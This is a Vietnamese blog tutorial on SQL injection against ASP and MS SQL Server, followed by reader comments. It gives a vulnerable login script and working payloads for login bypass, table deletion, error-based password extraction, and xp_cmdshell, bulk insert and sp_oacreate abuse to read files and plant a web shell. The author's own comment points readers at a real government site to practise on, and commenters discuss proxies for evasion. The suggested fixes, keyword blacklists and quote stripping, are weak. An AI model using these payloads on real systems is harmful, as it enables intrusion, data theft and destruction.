BẢO MẬT TRONG LẬP TRÌNH VỚI CƠ SỞ DỮ LIỆU – SQL injection

I/GIỚI THIỆU:

An toàn trong lập trình với cơ sở dữ liệu là một điều quan trọng trong lập trình mà rất ít lập trình viên để ý đến. Hầu hết các nhà lập trình chưa nhìn nhận thức một cách đúng đắn trong việc này vì họ chưa nhận ra được đầy đủ tầm quan trọng của việc bảo mật cơ sở dữ liệu vì họ cứ nghĩ rằng việc bảo mật là do nhà quảng trị mạng mà không biết rằng thường các hacker rất hay khai thác từ các lỗi lập trình.

Và đa số những nhà lập trình rất thường hay chủ quan trong việc này, lâu nay các lập trình viên thường nghĩ là chỉ cần xây dựng một chương trình chạy được là coi như đã thành công mà quên đi việc bảo mật trong từng đoạn code của họ. Bạn hãy thử nghĩ một khi chương trình của bạn đã viết hoàn chỉnh nhưng chỉ cần một lơ là trong bảo mật thì toàn bộ chương trình và dữ liệu của bạn coi như là công cóc nếu một khi hacker đã xâm nhập vào và phá nát. Một hệ điều hành dù có bảo mật cách mấy đi chăng nữa nhưng những ứng dụng chạy trên hệ điều hành đó không được bảo mật tốt thì toàn bộ hệ thống cũng sẽ bị bẻ gãy như thường. Và những kẻ tấn công thường hay sử dụng các nhược điểm này để tấn công vào cơ sở dữ liệu và hệ thống của bạn, mà đa số những thông tin quan trọng của công ty hoặc tổ chức nào đó đều nằm trong những cơ sở dữ liệu như thế (chẳng hạn như thông tin khách hàng, mã số thẻ tín dụng …). Vì vậy an toàn trong lập trình mà cụ thể là lập trình ứng dụng với cơ sở dữ liệu là một điều hết sức quan trọng mà chúng ta không nên xem thường.


II/NHỮNG LỖI HAY XẢY RA TRONG LẬP TRÌNH ỨNG DỤNG VỚI CƠ SỞ DỮ LIỆU

Có những lỗi rất nghiêm trọng mà người lập trình với cơ sở dữ liệu (chẳng hạn như những ứng dụng web trong thương mại điện tử, những chương trình kế toán, ứng dụng ngân hàng …) thường hay không để ý đến mà những lỗi này thường rất nguy hiểm, rất dễ hay bị những kẻ phá hoại lợi dụng để đánh cắp thông tin trong cơ sở dữ liệu của bạn và xa hơn nữa là xâm nhập vào toàn bộ hệ thống của bạn. Tôi xin được giới thiệu về hai lỗi cơ bản thường hay xảy ra nhất trong lập trình là và trong phần mềm SQL server:

• Lỗi thiếu kiểm soát dữ liệu vào, ra
• Lỗi SQL Injection và các STORE PROCEDURE về hệ thống có sẵn trong MS SQL server có thể sẽ bị hacker tấn công và lợi dụng

1/LỖI KIỂM SOÁT DỮ LIỆU ĐẦU VÀO RA VÀ LỖI SQL INJECTION

Trước tiên chúng ta hãy thử xem qua một ứng dụng web cơ bản để nhận thông tin đăng nhập của người sử dụng (UserName và Password) và thông qua cơ sở dữ liệu để so sánh được viết bằng ngôn ngữ lập trình web ASP

Đây là trang Login.html: bao gồm một form cho phép người sử dụng đăng nhập vào gồm có hai textfield là username và password

===============================================
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor=’000000′ text=’cccccc’><FONT Face=’tahoma’ color=’cccccc’>
<CENTER>
<H1>Login</H1>
<FORM action=’process_login.asp’ method=post>
<TABLE>
<TR>
<TD>Username:</TD>
<TD><INPUT type=text name=username size=20% width=20></INPUT></TD></TR>
<TR>
<TD>Password:</TD>
<TD><INPUT type=password name=password size=20% width=20></INPUT></TD>
</TR>
</TABLE>
<INPUT type=submit value=’Submit’></INPUT>
<INPUT type=reset value=’Reset’> </INPUT>
</FORM>
</FONT>
</BODY>
</HTML>
===============================================

Đây là file process_login.asp

===============================================
<HTML> <BODY bgcolor=’000000′ text=’ffffff’> <FONT Face=’tahoma’ color=’ffffff’>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%
function trace(str)
{
 if(Request.form(“debug”) == “true”)
 Response.write(str);
}
function Login(cn)
{
 var username;
 var password;
 username = Request.form(“username”);
 password = Request.form(“password”);
 var rso = Server.CreateObject(“ADODB.Recordset”);
 var sql = “select * from users where username = ‘” + username + “‘ and password = ‘” + password + “‘”;
 trace( “query: ” + sql );
 rso.open( sql, cn );
 if (rso.EOF)
 {
  rso.close();
%>
<FONT Face=’tahoma’ color=’cc0000′>
<H1> <BR><BR> <CENTER>ACCESS DENIED</CENTER></H1>
</BODY> </HTML>
<%
  Response.end
  return;
 }
 else
 {
   Session(“username”) = “” + rso(“username”);
%>
<FONT Face=’tahoma’ color=’00cc00′> <H1>
<CENTER>ACCESS GRANTED<BR> <BR> Welcome,
<%
  Response.write(rso(“Username”));
  Response.write( “</BODY></HTML>” );
  Response.end
 }
 }
function Main()
{
 //Set up connection
 var username
 var cn = Server.createobject( “ADODB.Connection” );
 cn.connectiontimeout = 20;
 cn.open( “localserver”, “sa”, “password” );
 username = new String( Request.form(“username”) );
 if( username.length > 0)
 {
   Login( cn );
 }
 cn.close();
}
Main();
%>
===============================================
Chúng ta hãy thử xem xét dòng lệnh sau:
……..
username = Request.form(“username”);
 password = Request.form(“password”);
……

var sql = “select * from users where username = ‘” + username + “‘ and password = ‘” + password + “‘”;
……..
cn.open( “localserver”, “sa”, “password” );

Chính vì không kiểm soát tốt dữ liệu vào (đó chính là 2 trường usernamepassword) để người dùng muốn nhập gì thì nhập nên hacker sẽ lợi dụng và tấn công yếu điểm này. 

Và một điểm nữa là sử dụng quyền truy cập tới cơ sở dữ liệu là quyền “sa” (quyền tối cao)

Giả sử kẻ phá hoại nhập vào textfield Username giái trị
“‘; drop table users –“

Thì lúc này câu lệnh sql sẽ trở thành:
select * from users where username = ”; drop table users — and password = ”

Nếu người sử dụng nhấn submit thì toàn bộ “table users” trong cơ sở dữ liệu sẽ bị xóa ngay lập tức.

Tương tự như vậy nếu kẻ phá hoại cố tình nhập vào textfield Username giá trị là: “admin’ — ”
Thì họ sẽ đăng nhập vào username là “admin” hợp lệ mà không cần phải biết password của user “admin” là gì

Hoặc họ nhập vào trường textfield Username: ‘ or 1=1 —
Thì họ đương nhiên được đăng nhập vào User đầu tiên trong bảng dữ liệu.

Giả sử kẻ phá hoại chưa biết được các tên của table, columm trong bản dữ liệu của bạn thì họ cũng có thể sử dụng phương pháp sau đây để dễ dàng biết được tên của table và columm đầu tiên mà bạn đang thao tác trên đó bằng cách đưa vào textfield Username: ‘ having 1=1 —

Và nếu như không kiểm soát tốt dữ liệu đầu ra hay cụ thể hơn ở ví dụ này là để các câu báo lỗi được thông báo và xuất hiện tùy tiện thì họ sẽ nhận được một thông báo lỗi do trang web đưa ra là:

==============================================Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
==============================================

Qua cách thông báo lỗi này hacker đã nhận biết và lợi dụng thông báo này để truy xuất vào sâu hơn trong CSDL và ở đây hacker qua đó biết được table name của bạn là “users” và columm đầu tiên của bạn là “id”

Tiếp tục họ đưa vào textfield Username: ‘ group by users.id having 1=1 —

Họ sẽ nhận tiếp dòng thông báo lỗi:
==============================================
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘users.username’ is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
==============================================

và nhận biết tiếp thêm columm “username” cứ tiếp tục như thế họ sẽ nhận biết được tất cả các columm trong bảng “users” bao gồm “id,username,password, ….)

Để nhận biết được kiểu dữ liệu của các columm này là gì thì họ sẽ thao tác tiếp như sau:

Họ đưa vào textfield Username: ‘ union select sum(username) from user —

Thì thông báo sau sẽ đưa ra:
==============================================
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
==============================================
và họ biết được kiểu dữ liệu của username là “varchar” , và lần lược các kiểu dữ liệu của columm sẽ không còn là bí mật nữa.

Để biết được dữ liệu của các columm họ sử dụng cú pháp tương tự như sau:

Username: ‘ union select min(username),1,1,1 from users where username > ‘a’ —

Thì nhận được thông báo:
==============================================
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘admin’ to a column of data type int.
/process_login.asp, line 35
==============================================

Kẻ tấn công đã biết được trong columm username của bạn tồn tại dữ liệu là “admin”

Để biết password của admin là gì thì họ tiếp tục:
Username: ‘ union select pasword,1,1,1 from users where username=’admin’ —

và dòng thông báo sẽ là:
==============================================
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘r00tr0x!’ to a column of data type int.
/process_login.asp, line 35
==============================================
và password của admin hiển nhiên là “r00tr0x”

Tóm lại họ sử dụng trường dữ liệu đưa vào sai (chẳng hạn sử dụng những hàm như corvert, sum, …) với mục đích làm cho câu lệnh SQL thông báo lỗi và hiển thị ra giá trị của field hoặc họ có thể tạo ra một table tạm trên cơ sở dữ liệu của bạn và bảng tạm này chỉ có một field và columm duy nhất chứa tất cả dữ liệu của bảng user và một lúc họ có thể xem toàn bộ dữ liệu sau đó xoá bảng tạm này đi. Quá trình trên có thể thực hiện như sau:

==> Username: ‘; begin declare @dulieu varchar(8000) set @dulieu=’:’ select @dulieu=@dulieu+’ ‘+username+’/’+password from users where username >@dulieu select @dulieu as dulieu into bangtam end —

Để xem dữ liệu trong bảng “bangtam” họ đưa tiếp dòng lệnh
Username: ‘ union select dulieu,1,1,1 from bangtam —

Nhận được thông báo lỗi:
==============================================
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ‘: admin/r00tr0x! guest/guest chris/password fred/sesame’ to a column of data type int.
/process_login.asp, line 35
==============================================

Sau đó xoá bangtam đi
Username: ‘; drop table bangtam —

Bằng kỹ thuật tương tự những kẻ phá hoại có thể thao tác các lệnh (Update, Delete, Insert) trên bảng cơ sở dữ liệu của bạn mà không gặp bất cứ sự cản trở nào chỉ vì một sơ xuất không đáng có (đó là không kiểm soát dữ liệu vào ra) thì bạn chắc đã tưởng tượng ra tác hại của nó như thế nào rồi đó.

2/NHỮNG STORE PROCEDURE VÀ CÂU LỆNH HỆ THỐNG CÓ THỂ BỊ LỢI DỤNG:

Những Store procedure và câu lệnh sql sau có thể sẽ là công cụ hữu ích cho kẻ phá hoại lợi dụng tấn công vào hệ thống của bạn

a/Kẻ phá hoại dùng tore procedure như xp_cmdshell chẳng hạn để thực thi một câu lệnh command trên hệ thống

b/Dùng procedure xp_regxxx để thao tác trên register của hệ thống bao gồm:

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

c/Dùng cú pháp “bulk insert” để đọc bất kỳ file nào trên hệ thống

d/Dùng câu lệnh “bcp” để tạo file nhị phân trên hệ thống

Sau đây là một số ví dụ:

-Xem danh sách file hệ thống:
Username: ‘; exec master..xp_cmdshell ‘dir c:\ > c:\danhsachfile.txt’ —

-Xem thông tin của user hệ thống(hoặc có thể tạo user nếu hệ thống cho phép)
Username: ‘; exec master..xp_cmdshell ‘net1 user’ —

-Đưa một text file vào table
Username: ‘; create table bangtam( line varchar(8000) ) —

Sau đó đưa nội dung của textfile bất kỳ vào table
Username: ‘; bulk insert bangtam from ‘c:\inetpub\wwwroot\process_login.asp’ —
Username: ‘; bulk insert bangtam from ‘c:\danhsachfile.txt’ —

từ đó họ có thể xem được nội dung textfile (chẳng hạn nội dung của file process_login.asp có chứa thông tin đăng nhập vào sql server gồm user sa và password hoặc danh sách các file nằm trên ổ đĩa c: trong file danhsachfile.txt)

-Hoặc cho thực thi chương trình notepad.exe
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ —

-Đọc nội dung textfile bất kỳ:
— scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘opentextfile’, @f out, ‘c:\boot.ini’, 1
exec @ret = sp_oamethod @f, ‘readline’, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, ‘readline’, @line out
end

-Tạo file có thể thực thi câu lệnh dos thông qua web:
— scripting.filesystemobject example – create a command.asp file in webroot
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘createtextfile’, @f out, ‘c:\inetpub\wwwroot\command.asp’, 1
exec @ret = sp_oamethod @f, ‘writeline’, NULL, ”

-Và còn vô số những điều khác mà kẻ phá hoại có thể thao tác thông qua những store procedure và câu lệnh về hệ thống trong sql.

Qua đó bạn thấy rõ một điều chỉ là một lỗi nhỏ thôi mà hacker đã có thể hoàn toàn thao tác và thực được tất cả các lệnh trên database cũng như là server và chẳng những thế còn chiếm luôn quyền kiểm soát server của bạn. Vậy thì lỗi này đâu phải người quảng trị hệ thống gây ra.

II/CÁCH HẠN KHẮC PHỤC VÀ HẠN CHẾ NHỮNG LỖI TRÊN

Để khắc phục và quản lý tốt dữ liệu đầu vào cũng như ra chống lại những phương thức tấn công từ bên ngoài, chương trình của bạn phải có những hàm để kiểm soát dữ liệu đầu vào một cách cẩn thận, tức là những dữ liệu vào nào được chấp nhận và loại bỏ tất cả các dữ liệu không liên quan mà cụ thể là nên loại bỏ những ký tự đặt biệt, những khoảng trắng, những từ khoá liên quan đến việc truy cập, sửa đổi và cập nhật dữ liệu, và nên hạn chế tối đa việc hiển thị các thông báo lỗi không cần thiết và kiểm soát tốt tất cả những gì hiển thị được, đôi khi những thông báo lỗi trên lại chính là chìa khoá cho những kẻ phá hoại tấn công vào chương trình của bạn.

Sau đây là một hàm ví dụ để kiểm soát dữ liệu đầu vào (chỉ có mục đích tham khảo và ví dụ chớ không phải là đoạn code thực sự):

=======================================
function validate_string( input )
known_bad = array( “select”, “insert”, “update”, “delete”, “drop”, “–“, “‘” )
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) 0 ) then
validate_string = false
exit function
end if
next
end function

function cut_string(input)
 var checkinput
 input = trim(rtrim(ltrim(input)))
 special_char = array(“~”,”!”,”@”,”#”,”$”,”%”,”^”,”&”,”*”,”(“,”)”,”_”,”+”,”-“,”=”,”{“,”}”,”;”,”‘”,”.”,”/”,”?”,”:”,”>”,”<“)
 for i = 1 to len(input)
  if(input(i)  in special_char) then
  else checkinput = checkinput + input(i)
  end if
 next
 cut_string = checkinput 
end function
==============================

hoặc bạn viết các hàm đại loại như hạn chế các ký tự đặc biệt trong các field dữ liệu lấy vào, các từ khóa, hoặc có thể sử dụng script …. Nhưng tốt nhất vẫn là kiểm soát từ phía server vì phía client rất dễ để có thể sửa đổi.

Bên cạnh đó Những store procedure và câu lệnh liên quan đến hệ thống trong sql bạn nên hạn chế quyền truy cập những store procedure đó hoặc xoá hẵn những store procedure không cần sử dụng đến, trong lập trình với cơ sở dữ liệu.

Và trong phần connection object bạn nên sử dụng quyền đăng nhập thấp nhất (tốt nhất là quyền chỉ đọc hoặc ghi trên đúng cơ sở dữ liệu cần thao tác) chẳng hạn hoặc khi thao tác với cơ sở dữ liệu nào bạn nên đăng nhập với owner của cơ sở dữ liệu đó để đề phòng những trường hợp xấu nhất có thể xảy ra. Tránh trường hợp connect với quyền system hoặc sa.

III/KẾT LUẬN

Tóm lại bảo mật trong lập trình với cơ sở dữ liệu là một việc tối cần thiết đối với những lập trình viên chuyên nghiệp. Nhất là trong thời buổi hiện nay tại nước ta, khi mà những ứng dụng về thương mại điện tử ngày càng trở nên thực tiễn thì sự đòi hỏi về bảo mật trong lập trình chính là một đòi hỏi chính đáng.

Không chỉ về phía người quảng trị mạng cần ý thức mà chính mỗi bản thân từng lập trình viên cần ý thức rõ về việc bảo mật và từ việc ý thức về bảo mật tốt sẽ bảo vệ dữ liệu của chúng ta tránh khỏi những kẻ phá hoại, điều đó giúp cho các chương trình và ứng dụng trở nên đáng tin cậy. 

Bạn hãy thử nghĩ xem nếu như một công ty xây dựng một ứng dụng về thương mại điện tử mà ứng dụng đó thiếu đi tính bảo mật thì sự tổn hại của nó gây ra cho công ty đó quả thật không phải là nhỏ. Không những nó làm cho công ty thiệt hại về mặt tài chính mà điều quan trọng nhất là nó còn làm mất lòng tin của khách hàng đối với việc giao dịch qua mạng với công ty ấy thì thử hỏi ai còn dám thực hiện giao dịch buôn bán với công ty ấy nữa. (Ví dụ như là việc bộ giáo dục vừa thực hiện việc công bố điểm thi đại học của các thí sinh thông qua mạng mà ứng dụng đó lại tồn tại một lỗi về bảo mật tương tự như lỗi về bảo mật mà tôi đã trình bày như trên và đã có người khám phá ra lỗi bảo mật này, họ cũng có thể dễ dàng thay đổi thông tin về điểm thi hay xoá đi tất cả những thông tin trên thì hậu quả chắc hẳn chúng ta cũng đã hình dung được.

Qua đó tôi muốn khẳng định lại một điều là nếu muốn xây dựng một chương trình, một ứng dụng nào đó về thương mại điện tử thì hãy xem bảo mật với ứng dụng đó là một điều kiện tối cần thiết và hàng đầu trong việc xây dựng ứng dụng đó. Và có một nghịch lý là hiện nay chưa có một trường lớp chính qui nào dạy về bảo mật trong lập trình và các công ty phần mềm trong nước cũng ít khi đào tạo về kiến thức bảo mật cho các lập trình viên và nếu có thì chỉ là dành cho những nhà quảng trị mạng mà thôi.

Vì vậy ngay bây giờ chúng ta, các lập trình viên hãy tự mình nghiên cứu về vấn đề này một cách thật nghiêm túc vì nó chính là chìa khoá để chúng ta tiến tới một nền công nghệ lập trình thật hoàn hảo góp phần đưa nền công nghệ thông tin của nước ta có thể sánh ngang với nền công nghệ thông tin tiên tiến trên thế giới hiện nay.

(ISAS NIIT)
Author L0ng3ta.

(Tài liệu viết bài tham khảo trên Internet)

NU BN MUN COPY BÀI VIT XIN VUI LÒNG TÔN TRNG QUYN TÁC GI

17 phản hồi

  1. Bài viết quá hay . Cho hỏi làm sao có thể tìm những trang web bị lỗi sql injection để có thể thực hành vậy . Bác L0ng3ta có thể demo cách hack 1 trang web php được không . Thank

  2. Cái này nói riêng thôi nha ! vào google và có những tool riêng để test lỗi này nhưng nếu bạn nắm rõ vấn đề thì không cần dùng tool thì vẫn test được.
    Và tôi có một trang tôi báo admin hoài nó không chịu sữa nên cho bạn tập sự, còn vấn đề gì bạn tự chịu trách nhiệm nhé.🙂😉 tôi không nhúng tay đâu.
    Lưu ý: không nên xóa dữ liệu, không nên thay đổi dữ liệu đó là điều tối kỵ.
    Chỉ dùng để test thôi. Nếu không được thì cũng đừng phát tán nhé.
    http://www.xxxxx.gov.vn/tiengviet/LawsVN/detail.php?ID=1'%20or%201=convert( int,@@version)%20–
    (@Admin đã xóa link vì lý do riêng)
    Cái này .gov đấy … đừng đùa với lửa. Tôi khuyên bạn thực tình đấy nếu chưa có kinh nghiệm thì tốt nhất đừng đùa.

    Nhưng cách tốt nhất là bạn nên cài SQL server ở nhà rồi test là dễ nhất (nhớ test trong query chủ yếu là bạn cứ đánh câu query có lỗi và khai thác theo lỗi thông báo ra là được) ==> Cách này vừa học hỏi vừa an toàn.

  3. Thank Mr l0ng3ta nha . Bật mí em vài tool đi được khôg !!

  4. bác có source forum nào bị những lỗi sql không . có thể share cho em test thư được không

  5. Mà bác share cho em cái link lỗi đó lỡ có người khác phá thì sao .!!

  6. 1 số tool thông dụng mới tìm được
    -Absinthe
    -Sleuth

  7. Không biết trang của bác có cho post hình ảnh không ha

  8. @cloudstrike: ai phá thì kệ họ vì nếu tôi không chỉ ra thì cũng có người khác tìm ra thôi… đó không phải là chuyện của tôi và tôi đã nói là tôi không quan tâm đến những cái đó cho nên không bàn tới nữa. Còn tool gì đó bạn hãy lên mạng mà tìm vì cái đó rất nhiều. Nếu tôi nhớ không lầm thì có một nhóm vicky gì đó bên HVA có viết máy cái tool này vả lại tôi không xài tool nên không thể chỉ bạn được, bạn hãy tự tìm thôi.

    Tôi xin đính chính một lần nữa là bài viết này tôi đã viết cách đây cũng khá lâu rồi chủ yếu là cảnh báo về bảo mật chớ không phải dùng để hướng dẫn “hack hay hiết” gì mong bạn nhận thức rõ.

  9. thank. Em hỏi để biết thôi chứ khôg có ý khác đâu

  10. Cái này sửa đơn giản thui mà. Tất cả các lệng đều có dấu nháy ‘ nên mình làm thế này
    Thay vì username = Request.form(”username”)
    Mình thay bằng username = Replace(Request.form(”username”),”‘”,””)
    Tức là thay dấu ‘ thành rỗng.
    Hehe chúc thành công.

  11. Các bạn cứ thử đi, tốt hết cả đấy.
    Nhớ cám ơn mình nhe

  12. Thanks for your comments.

  13. Ái chà bài viết này cao siu wá chắc fải học 1 khóa về lập trình web thì mới lĩnh hội được . Cái trang mà bác L0ng3ta đưa cho anh em thực tập là .gov nên bác sợ hả . Mình dùng proxy thì nó đâu bít mình ở chỗ khỉ ho cò gáy nào đâu fải ko bác ?!

  14. Hè hè,tưởng dùng proxy là an toàn hả(?),định dùng mấy tầng proxy đây?Thử dùng proxy rồi phá hoại xem mấy anh bkis gì đó có tìm ra không rồi biết..(hì).Vỏ quất dày có móng tay nhọn đó biết chưa.

  15. (Anh gì đó học đại học xây dựng, người Hà Tĩnh ,viết ra con virus rồi phát tán lên mạng Y!Messenger ,ảnh giấu mình cũng kỹ lắm,vậy mà cũng bị bắt.Tốt nhất an phận thủ thường thôi.):D

  16. @Lê Chiến: Bạn cứ Tự nhiên

  17. @Le Chien: Mấy anh Bkis tài thế cơ à … eo ơi sợ mấy ảnh quá ….😀

Gửi phản hồi

Mời bạn điền thông tin vào ô dưới đây hoặc kích vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Log Out / Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Log Out / Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Log Out / Thay đổi )

Google+ photo

Bạn đang bình luận bằng tài khoản Google+ Log Out / Thay đổi )

Connecting to %s

%d bloggers like this: